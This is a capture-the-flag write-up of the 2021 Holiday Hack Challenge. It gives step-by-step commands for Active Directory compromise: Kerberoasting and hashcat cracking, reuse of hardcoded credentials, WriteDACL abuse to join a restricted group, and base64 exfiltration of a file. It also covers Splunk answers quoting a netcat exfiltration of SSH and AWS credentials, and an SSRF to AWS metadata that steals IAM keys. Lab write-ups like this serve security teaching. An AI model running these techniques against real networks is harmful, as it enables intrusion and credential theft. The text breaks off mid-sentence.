10.128.1.0/24 via 172.17.0.1 dev eth0 
10.128.2.0/24 via 172.17.0.1 dev eth0 
10.128.3.0/24 via 172.17.0.1 dev eth0 
172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.5 

nmap is preinstalled - nice!

nmap --version
Nmap version 7.80 ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.3.3 openssl-1.1.1d nmap-libssh2-1.8.2 libz-1.2.11 libpcre-8.39 libpcap-1.9.1 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select

Now scan to find the domain controller:

nmap -p389 -sV 10.128.1-3.0/24 --open
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-21 20:47 UTC
Nmap scan report for 10.128.3.30
Host is up (0.0020s latency).

PORT    STATE SERVICE VERSION
389/tcp open  ldap    (Anonymous bind OK)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 768 IP addresses (237 hosts up) scanned in 33.52 seconds

What domain do we have?

nmap -sC -p 139,445 -sV 10.128.3.30
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-21 20:51 UTC
Nmap scan report for 10.128.3.30
Host is up (0.00026s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ELFU)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: ELFU)
Service Info: Host: SHARE30

Host script results:
|_nbstat: NetBIOS name: SHARE30, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: share30
|   NetBIOS computer name: SHARE30\x00
|   Domain name: elfu.local
|   FQDN: share30.elfu.local
|_  System time: 2022-01-21T20:51:20+00:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-01-21T20:51:20
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds

So the domain name is:

elfu.local

Exfiltrate Bloodhound information

Python is installed so we should get python based ingestor for Bloodhound running.

Before that, we should set the terminal to have unlimited scrollback: https://askubuntu.com/questions/385901/how-to-see-more-lines-in-the-terminal

Unzip is installed at the target:

unzip
UnZip 6.00 of 20 April 2009, by Debian. Original by Info-ZIP.
...

Download the zip file for the ingestor:

Download Bloodhound Python Ingestor Zip

Take your downloaded zip at the command line:

cat BloodHound.py-master.zip | base64 | tr -d '\n'
UEsDBAoAAAAAAEgR/FIAAAAAAAAAAAAAAAAVAA...
...BACgANmZlNzUzZWZkMDk1ODc5YjU0ZDdkNDg4ZGNjM2I0M2EwYjU1NTJlOQ==

Copy this output and paste it into the ssh session after:

echo -n '...

Close everything with:

...' | base64 --decode > bloodhound.zip

So the command looks like:

echo -n 'UEsDBAoAAAAAAEgR/F...
...Dg4ZGNjM2I0M2EwYjU1NTJlOQ==' | base64 --decode > bloodhound.zip

Check the file:

file bloodhound.zip 
bloodhound.zip: Zip archive data, at least v1.0 to extract

Unzip it:

unzip bloodhound.zip 
Archive:  bloodhound.zip
6fe753efd095879b54d7d488dcc3b43a0b5552e9
   creating: BloodHound.py-master/
  inflating: BloodHound.py-master/.editorconfig
...
  inflating: BloodHound.py-master/bloodhound/lib/cstruct.py  
  inflating: BloodHound.py-master/setup.py

And give it a try:

cd BloodHound.py-master/
python3 bloodhound.py -c All -d elfu.local -u euisvijnqm -p 'Szpbpjuqs@'
INFO: Found AD domain: elfu.local
INFO: Connecting to LDAP server: dc01.elfu.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 238 computers
INFO: Connecting to LDAP server: dc01.elfu.local
INFO: Found 230 users
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.elfu.local
INFO: Querying computer: share30.elfu.local
INFO: Skipping enumeration for share30.elfu.local since it could not be resolved.
INFO: Done in 00M 02S

You get 4 json files:

ls
20220121223233_computers.json  20220121223233_groups.json  Dockerfile  README.md   bloodhound.py
20220121223233_domains.json    20220121223233_users.json   LICENSE     bloodhound  setup.py

Cat all the 4 files and copy them to your computer,e.g.:

cat 20220121223233_computers.json
{"computers":[{"ObjectIdentifier": "S-1-5-21-2037236562...
..."computers","count":2, "version":3}}

Import the files in bloodhound in kali using drag and drop.

Enumerating SMB Shares

Run

nmap --script smb-enum-shares -p139,445 10.128.1-3.0/24 --open

In the result the shares in 10.128.2.0/24 seems only the IPC open:

smbclient -L 10.128.2.196
Enter WORKGROUP\euisvijnqm's password: 

	Sharename       Type      Comment
	---------       ----      -------
	IPC$            IPC       IPC Service (Remote IPC)
SMB1 disabled -- no workgroup available

In 10.128.3.0/24 the Users seems to have a Share “ElfUFiles”:

smbclient -L 10.128.3.41
Enter WORKGROUP\euisvijnqm's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ElfUFiles       Disk      
	IPC$            IPC       IPC Service (Remote IPC)
SMB1 disabled -- no workgroup available

which is not accessible from your current user:

smbclient -U euisvijnqm //10.128.3.41/ElfUFiles
Enter WORKGROUP\euisvijnqm's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED

Only the domain controller has multiple shares (excerpt from the previous nmap scan):

Nmap scan report for 10.128.3.30
Host is up (0.0020s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: <blank>
|   \\10.128.3.30\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Samba 4.3.11-Ubuntu)
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|   \\10.128.3.30\elfu_svc_shr: 
|     Type: STYPE_DISKTREE
|     Comment: elfu_svc_shr
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\elfu_svc_shr
|     Anonymous access: <none>
|   \\10.128.3.30\netlogon: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\sysvol\elfu.local\scripts
|     Anonymous access: <none>
|   \\10.128.3.30\research_dep: 
|     Type: STYPE_DISKTREE
|     Comment: research_dep
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\research_dep
|     Anonymous access: <none>
|   \\10.128.3.30\sysvol: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\sysvol
|_    Anonymous access: <none>

Search for kerberoastable Accounts

To find kerberoastable Accounts click “List all Kerberoastable Accounts” in Bloodhound:

Kerberoastable Accounts

Retrieve Hash from kerberoastable Account

Use the recommendation in the accompanying talk from Chris Davis: Impacket GetUserSPNs.py which is preinstalled at the system:

GetUserSPNs.py -request elfu.local/euisvijnqm:'Szpbpjuqs@'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon  Delegation 
-----------------------------------  --------  --------  --------------------------  ---------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  <never>               
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  <never>               
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  <never>               
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  <never>               



$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$3b8049ad5ede0e6a1e723fa87cd7484e$57813c60e96a46191bd3425b1d29e3521deb4674ff3c6727756001f6a7096aebcb8718982c13483324ab27e3a2f1cef80b00eea313d98247d680328d3a0d78b2a018300f872842e64971133c9af1e69ba4de374c5b31f4cb178a59c0f1a9a7c00f84e4d4c8a99d08b9bfe8287f29ffb8c4d73fc605d491ef5c429cf745d52a3b31c7d183f46da6684c6934300b1224ab7da8b8a2adee9b2fbf762e2f0f02684cfa1a4cf2623e2e3bd8a789709f8d6009ddf5644ac8066a0d245b0910f1dbcc6a81bb168884dd71ccdeef64ae22dde339d50d6bc06f5580a0bfab12dd5162d6ab46c4214642925965ed2ce5c99d1ab79c1bf9b4020a108aaf9b7d057b731e71225a0ed94a5a8cbfee314831da208af6848f2d996435a12c2109a8243f6d2239fbf603bc1af5c6e525bc6a80f0557f6a4ad6393ba1de9d8346c6302ee628a1dc9fd9d29d9af2540a6c652a0772902c1ba4ca9fa0637a0f2f8d09e767bf3dde8810d824cd4be22d5956acc7211a9836afb54cdf7be518faac57e0678ad16a6725a2c735155dd660a7b9639c457654f0829b29447e849e87923b408c1c0ee26e54eac3dd10224798d39a9c7b0731390156a4d4e9f007259338895d754600baf2cbf1ed1560ac074bfe7f85fafe9dfd39b43e2ee49469228e7a1a23ea29555b8700d5baee89d2db9fe09d6919a4524754a2cd51737aec3cc64e67143a65abc064a3a2245468ac677b1858552f63ce63e88ccf4b3a9eb4c636bbea2199d80c3e29dd677f5c2f5b811c768690ad4a5b8ba3696b5aa3cc45cfd3232138a8209354b2c8d3ff89c0d904ecdd93c1ce9137b4a55e72eed9e347e9e4815efbb96cf0c8ea791374128e4a83529265759979b8cc85e7b07d833f4f0f68fee28d1c6ba73783d307915c578d2498ebe3cd3002097d78f72bf0be174a7b133dfb50badc1fe4759d849450788eab7191d3de4bb06fb02d6ee7f279b48933cb79b6a619c75da29ca53e1e526324d5b52f4e31582b74a8eafedb889369e965a649e53a35c3d0eff157476c71b9a0a38755a1e49b756ac0e6407d383bcad7795a19a6e48eea2b1b1e18a048261b12c25804fbec89a0886af641c4e5295ee302b638ec865fd64fe0d304a9a4195b76c032ec3ec41933fe7c00619e509f1e313865621d755868f311d9c6d511b8f6d749a00e5baf2661732c52f792e0499e891f04ec4bfcdc34fd9702a93aa7b0fd0860c2ead117733baf00b0a14df0b4956e786edbc6495ca082b381a71e573bedd8e4b2e5e3539dbc9eca0bf92fee113dc757ad2553e21400bb175a70999ef81d94be390f125c35135587f14e62a566660876c41deac577407eb8a7fdf53f11d57336230d624779ad747b8214c56c9a3725c1b6323f3945fd38749869361649998c739516d1b4b22b4fd230bb14d3349d25004ac240b12b2275b1c0eb89c1a56813be

Copy the hash at the end to your local system into a file hash.txt

Cracking the hash

Get all the words including numbers from the initial registration page:

cewl -w wordlist.txt --with-numbers 'https://register.elfu.org/register'

and download a ruleset to augment this list (a further hint from Eve Snowshoes):

curl -O https://raw.githubusercontent.com/NotSoSecure/password_cracking_rules/master/OneRuleToRuleThemAll.rule

Then crack the hash using hashcat:

hashcat -m 13100 -a 0 hash.txt --potfile-disable --opencl-device-types 1 --force -O -w 4 -r OneRuleToRuleThemAll.rule wordlist.txt
...
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$3b8049ad5ede0e6a1e723fa87cd7484e$57813c60e96a46191bd3425b1d29e3521deb4674ff3c6727756001f6a7096aebcb8718982c13483324ab27e3a2f1cef80b00eea313d98247d680328d3a0d78b2a018300f872842e64971133c9af1e69ba4de374c5b31f4cb178a59c0f1a9a7c00f84e4d4c8a99d08b9bfe8287f29ffb8c4d73fc605d491ef5c429cf745d52a3b31c7d183f46da6684c6934300b1224ab7da8b8a2adee9b2fbf762e2f0f02684cfa1a4cf2623e2e3bd8a789709f8d6009ddf5644ac8066a0d245b0910f1dbcc6a81bb168884dd71ccdeef64ae22dde339d50d6bc06f5580a0bfab12dd5162d6ab46c4214642925965ed2ce5c99d1ab79c1bf9b4020a108aaf9b7d057b731e71225a0ed94a5a8cbfee314831da208af6848f2d996435a12c2109a8243f6d2239fbf603bc1af5c6e525bc6a80f0557f6a4ad6393ba1de9d8346c6302ee628a1dc9fd9d29d9af2540a6c652a0772902c1ba4ca9fa0637a0f2f8d09e767bf3dde8810d824cd4be22d5956acc7211a9836afb54cdf7be518faac57e0678ad16a6725a2c735155dd660a7b9639c457654f0829b29447e849e87923b408c1c0ee26e54eac3dd10224798d39a9c7b0731390156a4d4e9f007259338895d754600baf2cbf1ed1560ac074bfe7f85fafe9dfd39b43e2ee49469228e7a1a23ea29555b8700d5baee89d2db9fe09d6919a4524754a2cd51737aec3cc64e67143a65abc064a3a2245468ac677b1858552f63ce63e88ccf4b3a9eb4c636bbea2199d80c3e29dd677f5c2f5b811c768690ad4a5b8ba3696b5aa3cc45cfd3232138a8209354b2c8d3ff89c0d904ecdd93c1ce9137b4a55e72eed9e347e9e4815efbb96cf0c8ea791374128e4a83529265759979b8cc85e7b07d833f4f0f68fee28d1c6ba73783d307915c578d2498ebe3cd3002097d78f72bf0be174a7b133dfb50badc1fe4759d849450788eab7191d3de4bb06fb02d6ee7f279b48933cb79b6a619c75da29ca53e1e526324d5b52f4e31582b74a8eafedb889369e965a649e53a35c3d0eff157476c71b9a0a38755a1e49b756ac0e6407d383bcad7795a19a6e48eea2b1b1e18a048261b12c25804fbec89a0886af641c4e5295ee302b638ec865fd64fe0d304a9a4195b76c032ec3ec41933fe7c00619e509f1e313865621d755868f311d9c6d511b8f6d749a00e5baf2661732c52f792e0499e891f04ec4bfcdc34fd9702a93aa7b0fd0860c2ead117733baf00b0a14df0b4956e786edbc6495ca082b381a71e573bedd8e4b2e5e3539dbc9eca0bf92fee113dc757ad2553e21400bb175a70999ef81d94be390f125c35135587f14e62a566660876c41deac577407eb8a7fdf53f11d57336230d624779ad747b8214c56c9a3725c1b6323f3945fd38749869361649998c739516d1b4b22b4fd230bb14d3349d25004ac240b12
...
b2275b1c0eb89c1a56813be:Snow2021!

So the password for elfu_svc is ‘Snow2021!’

Search for Credentials

If you remember we had a share

|   \\10.128.3.30\elfu_svc_shr: 

in the previous nmap smb enumeration scan at the domain controller.

So let’s connect there using the newly retrieved credentials and download the files:

smbclient -U elfu_svc -W elfu.local //10.128.3.30/elfu_svc_shr
Enter ELFU.LOCAL\elfu_svc's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Fri Jan 21 08:02:40 2022
  Get-NavArtifactUrl.ps1              N     2018  Wed Oct 27 19:12:43 2021
  Get-WorkingDirectory.ps1            N      188  Wed Oct 27 19:12:43 2021
  Stop-EtwTraceCapture.ps1            N      924  Wed Oct 27 19:12:43 2021
  ...
  AzureAD.ps1                         N      141  Wed Oct 27 19:12:43 2021
  Copy-FileToRemoteComputer.ps1       N     3794  Wed Oct 27 19:12:43 2021
  New-NavContainerTenant.ps1          N     5623  Wed Oct 27 19:12:43 2021

		41089256 blocks of size 1024. 34796848 blocks available
smb: \> prompt
smb: \> recurse
smb: \> mget *
getting file \Get-NavArtifactUrl.ps1 of size 2018 as Get-NavArtifactUrl.ps1 (1970.5 KiloBytes/sec) (average 1970.7 KiloBytes/sec)
...
getting file \New-NavContainerTenant.ps1 of size 5623 as New-NavContainerTenant.ps1 (5490.7 KiloBytes/sec) (average 7293.7 KiloBytes/sec)
smb: \> exit

If we look into the files we can find hardcoded credentials in GetProcessInfo:

cat GetProcessInfo.ps1 
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

Lets copy this code and enhance it to get a powershell session to this User “remote_elf” IP 10.128.1.53 (using the information at https://github.com/chrisjd20/hhc21_powershell_snippets#added-bonus-here-is-how-you-can-enter-pssession-into-a-remote-computer):

euisvijnqm@grades:~$ powershell
PowerShell 7.2.0-rc.1
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/euisvijnqm> $SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
PS /home/euisvijnqm> $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
PS /home/euisvijnqm> $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
PS /home/euisvijnqm> Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate
[10.128.1.53]: PS C:\Users\remote_elf\Documents>

Analysis of remote_elf

Enter the name in Bloodhound:

Analysis of Remote Elf in Bloodhound

Mark it as owned:

Mark remote elf as owned

Click “Shortest Path from Owned Principals”, “ELFU.LOCAL” and “REMOTE_ELF@ELFU.LOCAL”:

Shortest Path from Owned Principals

In the resulting graph you can see that remote_elf can PowerShell remote to the Domain Controller named DC01.ELFU.LOCAL:

Can PS Remote

Log into Domain Controller

So exit the current PowerShell Session and reenter the session into the Domain Controller using:

[10.128.1.53]: PS C:\Users\remote_elf\Documents>exit
PS /home/euisvijnqm> Enter-PSSession -ComputerName DC01.ELFU.LOCAL -Credential $aCred -Authentication Negotiate
[DC01.ELFU.LOCAL]: PS C:\Users\remote_elf\Documents>

Find WriteDACL for Research Samba Share

If you remember there was the research samba share at the Domain Controller:

[10.128.1.53]: PS C:\Users\remote_elf\Documents> exit
PS /home/euisvijnqm> Enter-PSSession -ComputerName DC01.ELFU.LOCAL -Credential $aCred -Authentication Negotiate
[DC01.ELFU.LOCAL]: PS C:\Users\remote_elf\Documents>

but we have no access to it (Open another ssh session):

smbclient -U euisvijnqm //10.128.3.30/research_dep 
Enter WORKGROUP\euisvijnqm's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED

Back in the DC Powershell Session try to find a Securable Object which has permissions to write ACL.

For that analyse the existing groups:

Get-ADGroup -Filter "*"
...
Get-ADGroup -Filter "Name -like '*research*'"


DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local
GroupCategory     : Security
GroupScope        : Global
Name              : Research Department
ObjectClass       : group
ObjectGUID        : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d
SamAccountName    : ResearchDepartment
SID               : S-1-5-21-2037236562-2033616742-1485113978-1108

So use this to analyse the ACL properties (based on https://github.com/chrisjd20/hhc21_powershell_snippets#you-can-read-the-dacl-of-an-ad-group-object-using):


$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

which contains

ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Add GenericAll to remote_elf Account

In the next step add GenericAll Permission to your account. For this we have to use the already compromised remote_elf account. Exit the current DC Powershell session and enter remote_elf session again:

[DC01.ELFU.LOCAL]: PS C:\Users\remote_elf\Documents> exit
PS /home/euisvijnqm> Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate
[10.128.1.53]: PS C:\Users\remote_elf\Documents> 

Here use the Github snippet:

[10.128.1.53]: PS C:\Users\remote_elf\Documents> Add-Type -AssemblyName System.DirectoryServices
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $username = "euisvijnqm"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $propGUID = [guid]'00000000-0000-0000-0000-000000000000'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $secOptions = $domainDirEntry.get_Options()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.RefreshCache()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.dispose()

Check it:

[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

yields:


...
ActiveDirectoryRights : GenericAll
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\euisvijnqm
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
...

Add your account to Research Department group

Finally you have to add your account to the Research Department group:

[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> Add-Type -AssemblyName System.DirectoryServices
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $username = 'euisvijnqm'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $password = 'Szpbpjuqs@'
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $b=New-Object byte[] $sid.BinaryLength
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $sid.GetBinaryForm($b,0)
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $hexSID=[BitConverter]::ToString($b).Replace('-','')
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.Add("LDAP://<SID=$hexSID>")
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.CommitChanges()
[10.128.1.53]: PS C:\Users\remote_elf\Documents> $domainDirEntry.dispose()

Retrieve document from research share

Give the permissions changes 5 minutes to propagate. Then connect and retrieve the secret document from the research department share:

smbclient -U euisvijnqm //10.128.3.30/research_dep
Enter WORKGROUP\euisvijnqm's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                             D        0  Thu Dec  2 16:39:42 2021
  ..                                            D        0  Fri Jan 21 08:02:40 2022
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

		41089256 blocks of size 1024. 34798856 blocks available
smb: \> mget SantaSecretToAWonderfulHolidaySeason.pdf
Get file SantaSecretToAWonderfulHolidaySeason.pdf? yes
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (42462.8 KiloBytes/sec) (average 42463.9 KiloBytes/sec)
smb: \> exit

Get the base64:

cat SantaSecretToAWonderfulHolidaySeason.pdf | base64 | tr -d '\n'
JVBERi0xLjMKJcTl8uXrp/Og0MT
...
PgpzdGFydHhyZWYKMTczMzMyCiUlRU9GCg=

Copy it into a file base64out at your system (using vim can be faster then using echo):

cat base64out| base64 --decode > SantaSecretToAWonderfulHolidaySeason.pdf 
file SantaSecretToAWonderfulHolidaySeason.pdf 
SantaSecretToAWonderfulHolidaySeason.pdf: PDF document, version 1.3

Open the PDF

Final PDF

The first word in the list and therefore the solution is Kindness

9 - Splunk

Possible solution

Level 1

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie | stats count by CommandLine | sort - count

from there you can get

git status

Level 2

index=main user=eddie CommandLine="git remote add*"

delivers

git remote add origin git@github.com:elfnp3/partnerapi.git
git remote add origin https://github.com/elfnp3/partnerapi.git

so the solution is

git@github.com:elfnp3/partnerapi.git

Level 3

index=main user=eddie CommandLine="docker*"

shows

docker up

Level 4

index=main sourcetype=github_json | fields repository.full_name

shows

elfnp3/dvws-node 23 85,185 % elfnp3/partnerapi 4 14,815 %

googling “github dvws-node” delivers https://github.com/snoopysecurity/dvws-node

Level 5

index=main user=eddie npm partnerapi

click at “CommandLine”

/usr/bin/env node 
/usr/bin/npm install holiday-utils-js

So we have “holiday-utils-js”

Level 6

Click at the recommended search and then on both IPs. View the Events. Choose “process_name” at the left:

192.30.255.113 => /usr/bin/git 54.175.69.219 => /usr/bin/nc.openbsd

The answer is “/usr/bin/nc.openbsd”

Level 7

Use the process_id from the last query at the the left side and put it into:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 process_id=6791

Click “parent_process” in the left, this changes the query to:

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 parent_process_id=6788

Click “CommandLine”:

cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts 1 50 % nc -q1 54.175.69.219 16842 1 50 %

From that we can deduce

/home/eddie/.aws/credentials
/home/eddie/.ssh/authorized_keys
/home/eddie/.ssh/config
/home/eddie/.ssh/eddie
/home/eddie/.ssh/eddie.pub
/home/eddie/.ssh/known_hosts

=> 6 files

Level 8

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 CommandLine="*.sh"

“CommandLine” shows only one script:

/bin/sh -c /bin/bash preinstall.sh

so it is:

preinstall.sh

If you look at the top of the to-do list you can see

“Thank you for helping Santa complete his investigation! Santa says you’re a whiz”

“whiz” is the solution for the Splunk challenge.

10 - No Hiring

Open Portswigger Burp and https://apply.jackfrosttower.com/. Route traffic through Burp as pentesting proxy for example using Foxy Proxy Plugin.

10 click apply

Enter required information in the next form

10 submit career application

activate “intercept” in Burp and click “Submit”

10 career application intercepted

Put it to “Repeater” and send the request:

10 analyse request

Looking into (the challenge about imds exploration) we can set the AWS IMDS endpoint, url encode and send it. We get another response:

10 aws endpoint

What is this non-displayable image in the center?

If you right-click in Repeater and select “Copy URL”, paste it in the browser, disable the proxy, call the url and inspect it, you get:

10 analyse picture

It’s not a 0 byte picture !

size picture

Review it in Burps Logger

10 imds response

So it’s the IMDS Response. Now try to get the secret key using (the known api):

Resend the original career application form. You have to use another name because this is cached. Enter as url http://169.254.169.254/latest/meta-data/iam/security-credentials/:

10 request for iam

If you analyse the picture in Burp you see the AWS role:

10 get role

Use this in another run to get the secret AWS keys:

10 get secret aws keys

secret aws keys

So the solution is: “CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX”

11 Customer Complaint Analysis

So the question is

A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.

and Tinsel Upatree tells you

Great! Thanks so much for your help! I’m sure I can put those skills I just learned from you to good use. Are you familiar with RFC3514? Wireshark uses a different name for the Evil Bit: ip.flags.rb. HTTP responses are often gzip compressed. Fortunately, Wireshark decompresses them for us automatically. You can search for strings in Wireshark fields using display filters with the contains keyword.

The “evil bit” in RFC3514 can be searched in Wireshark using the display filter ip.flags.rb. Since we search for humans it should be false:

Get humans

Right-Click at a HTTP row, select Follow -> HTTP Stream:

A human named “Muffy Von Duchess Sebastian” residing in room 1024 complains about several trolls:

